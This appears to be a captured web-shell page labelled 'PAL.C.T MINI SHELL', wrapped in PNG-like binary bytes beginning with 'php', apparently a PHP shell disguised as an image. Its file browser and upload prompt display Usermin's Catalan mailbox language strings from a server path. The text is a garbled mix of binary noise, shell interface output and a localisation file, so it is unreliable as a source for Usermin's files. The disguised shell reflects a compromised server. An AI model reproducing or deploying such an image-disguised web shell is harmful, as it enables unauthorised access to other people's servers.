‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/usermin/mailbox/ulang/
upload
files >> //usr/libexec/usermin/mailbox/ulang/ca

index_title=Correu de: $1
mail_title=Lectura de Correu
mail_none=No hi ha cap missatge a la carpeta $1
mail_pos=Missatges $1 a $2 de $3 a la carpeta $4
mail_return=a la bústia
mail_quota=Utilitzant $1 de $2
mail_special=Especial

send_efile=El fitxer adjuntat $1 no és llegible o bé no existeix
send_nobody=nobody
send_etomsg=No has introduït cap adreça To, Cc ni Bcc
send_esubjectmsg=No has introduït cap Assumpte - espero que sigui correcte
send_eclosemsg=Segur que vols tancar aquesta pàgina i perdre el missatge en progrés?

address_chooser=Selecciona una Adreça...
address_addr=Adreça E-mail
address_name=Nom real
address_none=La teva llibreta d'adreces és buida.
address_none2=No hi ha cap adreça que coincideixi amb la teva recerca.
address_title=Llibreta d'Adreces
address_desc=La taula de sota llista les adreces que pots seleccionar a l'hora de redactar un nou correu. També es poden afegir adreces fent-hi clic en visualitzar un missatge de correu.
address_edit=Edita...
address_delete=Suprimeix
address_add=Afegeix una nova adreça.
address_err=No he pogut desar l'adreça
address_eaddr=Hi falta l'adreça email o bé és invàlida (ha de ser de la forma foo@bar.com)
address_from=Des de l'adreça
address_yd=Sí, per defecte
address_gdesc=Aquesta secció llista sobrenoms que pots utilitzar per enviar correu fàcilment a particulars o grups d'adreces, sense necessitat d'introduir l'adreça completa.
address_gadd=Afegeix un nou sobrenom o grup.
address_gnone=La teva llista de sobrenoms és buida.
address_group=Sobrenom
address_members=Adreces E-mail
address_m=$1 membres
address_search=Busca adreces que coincideixin amb:
address_ok=Busca
address_users=Adreces de correu
address_groups=Sobrenoms de correu
address_allow=Adreces permeses
address_deny=Adreces denegades
address_allowdesc=El correu provinent d'aquestes adreces s'acceptarà sempre i no es classificarà mai com a spam.
address_denydesc=El correu provinent d'aquestes adreces sempre es classificarà com a spam, i es posarà a la teva carpeta de spam o bé se suprimirà.
address_import=Importa les adreces
address_importdesc=Aquest formulari permet afegir adreces a Usermin a partir d'un fitxer, típicament exportat d'un altre client de correu o gestor de contactes.
address_importsrc=Importa les adreces de
address_importsrc0=Un fitxer pujat
address_importsrc1=Text enganxat
address_importformat=El text ha d'estar en format <tt>e-mail@domini.com,Nom Real</tt>
address_importfmt=Format origen
address_importcsv=CSV (e-mail, nom real)
address_importvcard=vCard
address_importdup=Gestió d'adreces duplicades
address_importdup0=Ignora-les
address_importdup1=Actualitza el nom
address_importok=Importa-les Ara
address_return=a la llibreta d'adreces

import_err=NOs'han pogut importatr les adreces
import_title=Importació de Llibreta d'Adreces
import_doing=Resultats de la importació de la llibreta d'adreces...
import_eupload=No has seleccionat cap fitxer
import_epaste=No has introduït cap adreça
import_enone=El fitxer seleccionat no conté cap adreça vàlida
import_action=Acció presa
import_add=<font color=green>S'ha afegit a la llibreta d'adreces</font>
import_update=<font color=orange>S'ha actualitzat el nom real</font>
import_readonly=<font color=red>Entrada global, s'ha omès</font>
import_noemail=<font color=red>HI falta una adreça e-mail o bé és invàlida</font>
import_same=Sense canvis, s'ha omès
import_skip=Adreça duplicada, s'ha omès
import_enetvcard=Cal el mòdul Perl <tt>Net::vCard</tt> per a llegir fitxers en format vCard

group_err=No s'ha pogut desar el grup d'adreces
group_egroup=Hi falta el nom del grup o bé és invàlid
group_emembers=No has introduït cap adreça de membres del grup

folders_title=Gestió de Carpetes
folders_instr=Ajuda i tipus de carpetes
folders_desc2=Cadascuna de les carpetes de sota pot contenir correu que tu hi has desplaçat, o bé correu que s'hi ha desat automàticament. Els tipus de carpetes disponibles són els següents:
folders_descsys=Carpetes de sistema com ara Entrada, Esborranys i Enviat, que sempre existeixen.
folders_desclocal=Carpetes del directori <tt>mail</tt> que poden haver estat creades o suprimides per Usermin.
folders_descext=Altres fitxers o directoris que poden ser gestionats com a carpetes per Usermin.
folders_descpop3=Comptes POP3 d'altres servidors que es poden tractar com a carpetes.
folders_descimap=Comptes IMAP d'altres servidors.
folders_desccomp=Carpetes compostes, que combinen dues o mes carpetes en una sola llista.
folders_descvirt=Carpetes virtuals, que contenen una selecció de correu d'altres carpetes.
folders_name=Nom de la carpeta
folders_path=Ubicació
folders_type=Tipus
folders_size=Mida
folders_maildir=Directori
folders_mbox=Fitxer
folders_mhdir=Directori MH
folders_create=Crea una nova carpeta.
folders_add=Afegeix un fitxer o directori existent com a carpeta.
folders_return=a la llista de carpetes
folders_serv=$1 al servidor $2
folders_servp=$1 al servidor $2 port $3
folders_padd=Afegeix un compte POP3 com a carpeta.
folders_iadd=Afegeix una bústia IMAP com a carpeta.
folders_cadd=Crea una nova carpeta composta.
folders_num=Conté $2 missatges en $1 carpetes 
folders_vnum=Conté $1 missatges
folders_vtype=Virtual
folders_comp=Composta
folders_virt=Virtual
folders_newfolder=Afegeix una carpeta del tipus:
folders_type_local=Fitxer de correu local
folders_type_ext=Fitxer de correu extern
folders_type_pop3=Compte POP3
folders_type_imap=Compte IMAP
folders_type_comp=Composta de les carpetes
folders_type_virt=Carpeta virtual
folders_action=Accions...
folders_view=Visualitza
folders_copy=Copia
folders_auto=AutoNeteja
folders_delete=Suprimeix les Carpetes Seleccionades
folders_addimap=Afegeix una nova carpeta.
folders_addcomp=Afegeix una nova carpeta composta.
folders_addvirt=Afegeix una nova carpeta virtual.

edit_title1=Creació de Carpeta
edit_title2=Edició de Carpeta
edit_header=Detalls de la carpeta de correu
edit_mode=Tipus de carpeta
edit_mode0=Fitxer sota $1
edit_mode1=Fitxer de correu extern
edit_mode2=Fitxer de correu enviat
edit_mode3=Fitxer de paperera
edit_name=Nom de la carpeta
edit_type=Tipus d'emmagatzematge
edit_type0=Fitxer simple (mbox)
edit_type1=Directori de correu Qmail (Maildir)
edit_type3=Directori MH (MH)
edit_type7=Fitxer simple (MBX)
edit_file=Fitxer o directori de correu extern
edit_sent=Fitxer o directori de correu enviat
edit_sent1=Per defecte d'Usermin
edit_sent0=Fitxer o directori de correu extern
edit_perpage=Missatges a mostrar per pàgina
edit_sentview=Mostra l'adreça To: en lloc de l'adreça From:
edit_pop3=Compte POP3
edit_imap=Bústia IMAP
edit_server=POP3 server
edit_port=Número de port
edit_iserver=Servidor IMAP
edit_user=Usuari del servidor
edit_usersame=El mateix que l'usuari Usermin
edit_pass=Contrasenya del servidor
edit_mailbox=Bústia IMAP
edit_imapinbox=Entrada de l'Usuari
edit_imapother=Altres bústies
edit_fromaddr=Adreça From: dels missatges enviats des de la carpeta
edit_hide=Amaga-la del menú de carpetes
edit_comps=Subcarpetes, les més velles primer
edit_comp=Composta
edit_virt=Virtual
edit_delete=Suprimeix el missatge real quan el suprimeixis de la carpeta

save_err=No s'ha pogut desar la carpeta
save_ecannot=No tens permís per utilitzar aquest tipus de carpeta
save_ename=Hi falta el nom de la carpeta o bé és invàlid
save_ename4=Els noms de carpeta només poden contenir lletres, números, espais i els caràcters de punt, guió i subguió
save_ecompsame=Una carpeta composta no pot contenir dos cops la mateixa subcarpeta
save_ename2=Els noms de carpetes no poden contenir...
save_ename3=El nom de carpeta INBOX està reservat per al servidor IMAP
save_esys=El nom de la carpeta està en conflicte amb una de les carpetes del sistema
save_eclash=Ja existeix una carpeta amb aquest nom
save_embox=No sembla que '$1' sigui un fitxer de bústia vàlid
save_emaildir=No sembla que '$1' sigui un directori de correu Qmail o MH vàlid
save_efile='$1' no existeix o bé no és accessible
save_eindir=Els fitxers de correu externs no poden estar sota el directori de carpetes $1
save_title=Supressió de Carpetes
save_rusure=Segur que vols suprimir la carpeta $1 de $2? Se suprimirà per sempre $3 del correu.
save_rusure2=Segur que vols suprimir la carpeta $1? Se suprimirà per sempre $2 del correu.
save_delete=Suprimeix-la Ara
save_eserver=Hi falta el servidor POP3 o bé és invàlid
save_euser=Hi falta el nom d'usuari
save_elogin=No s'ha pogut entrar al servidor POP3: $1
save_elogin2=No s'ha pogut entrar al servidor IMAP: $1
save_eperpage=Hi falta el nombre de missatges per pàgina o bé és invàlid
save_eport=Hi falta el número de port o bé és invàlid
save_efromaddr=Hi falta l'adreça From: o bé és invàlida
save_emailbox=No s'ha pogut obrir al bústia IMAP: $1
save_emailbox2=Hi falta la bústia IMAP o bé és invàlida
save_edelete=No s'ha pogut suprimir el coreu: $1
save_eflag=No s'ha pogut establir les banderes IMAP: $1
save_eappend=No s'ha pogut afegir el correu a la bústia IMAP: $1
save_esearch=No s'ha pogut buscar a la bústia IMAP mailbox: $1

epop3lock_tries=No s'ha pogut bloquejar el fitxer de correu $1 després de provar-ho durant $2 minuts, degut a un fitxer de bloqueig POP3.

view_dsn=Notificació de l'Estat del Lliurament
view_dnsnow=S'ha enviat un missatge de notificació d'estat del lliurament a $1.
view_dsnbefore=S'ha enviat un missatge de notificació d'estat del lliurament a $1 de $2.
view_dsnreq=$1 ha demanat una notificació d'estat del lliurament per a aquest missatge.
view_dsnsend=Envia Ara la Notificació
view_dsngot=Aquest missatge ha estat llegit per $1 a $2.
view_delfailed=Aquest missatge no s'ha pogut lliurar a $1 a $2.
view_delok=Aquest missatge s'ha lliurat a $1 a $2.
view_quick=Resposta ràpida
view_quick_all=Respon a tots
view_quick_quote=Cita l'original
view_quick_send=Envia

search_virtualize=Crea una carpeta virtual anomenada:
search_dest=Emmagatzema els resultats a
search_dest1=Busca la carpeta de Resultats
search_dest0=Nova carpeta virtual anomenada
search_edest=Hi falta el nom de la carpeta virtuals dels resultats
search_eself=No es pot cercar a la carpeta de resultats de la recerca

virtualize_ename=Hi falta el nom de la carpeta virtual

delete_enoadd=Els missatges no es poden desplaçar a les carpetes virtuals, només copiar-los

sig_title=Edició de Signatura
sig_desc=Utilitza aquest formulari per editar la teva signatura de correu al fitxer $1.
sig_undo=Desfés
sig_enone=No has definit cap fitxer de signatura
sig_eopen=No s'ha pogut obrir el fitxer de signatura: $1

quota_inbox=S'ha excedit la quota de coreu de $1
quota_inbox2=S'ha excedit la quota de $1 missatges de correu

auto_title=Neteja Automàtica de Carpetes
auto_header=Opcions de neteja planificada de carpetes
auto_enabled=Suprimeix automàticament els missatges
auto_mode=Criteris de supressió
auto_days=Missatges més antics de $1 dies
auto_size=Missatges que fan la carpeta més gran de $1
auto_err=No s'ha pogut configurar la neteja automàtica de carpetes
auto_edays=Hi falta el nombre de dies o bé és invàlid
auto_esize=Hi falta la mida màxima de carpeta o bé és invàlida
auto_name=Carpeta a netejar
auto_invalid=Suprimeix els missatges amb una data invàlida
auto_action=Acció quan es troben missatges per suprimir
auto_action0=Suprimeix els missatges que coincideixin
auto_action1=Suprimeix tots els missatges de la carpeta
auto_action2=Desplaça a la carpeta $1
auto_edest=La carpeta destí seleccionada no existeix!
auto_ewrite=No es pot escriure a la carpeta destí seleccionada

copy_title=Còpia de Tot el Correu
copy_header=Copia tots els missatges de la carpeta
copy_source=Carpeta origen
copy_dest=Carpeta destí
copy_move=Suprimeix de l'Origen
copy_ok=Copia-ho Ara
copy_doing=S'estan copiant tots els missatges de $1 a $2...
copy_done=...fet
copy_deleting=S'està buidant la carpeta...

fdelete_title=Supressió de Carpetes
fdelete_err=No s'han pogut suprimir les carpetes
fdelete_enone=No n'has seleccionat cap
fdelete_rusure=Segur que vols suprimir les $1 carpetes seleccionades? Se suprimirà per sempre $2 de correu.
fdelete_rusure2=Segur que vols suprimir les $1 carpetes seleccionades?
fdelete_delete=Suprimeix-les Ara

detachall_err=No s'han pogut desar totes les adjuncions
detachall_emkdir=No s'ha pogut crear el directori temporal: $1
detachall_ezip=ZIP ha fallat: $1

allow_err=No s'han pogut desar les adreces permeses
deny_err=No s'han pogut desar les adreces denegades
allow_eaddr='$1' no és una adreça vàlida de correu electrònic

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚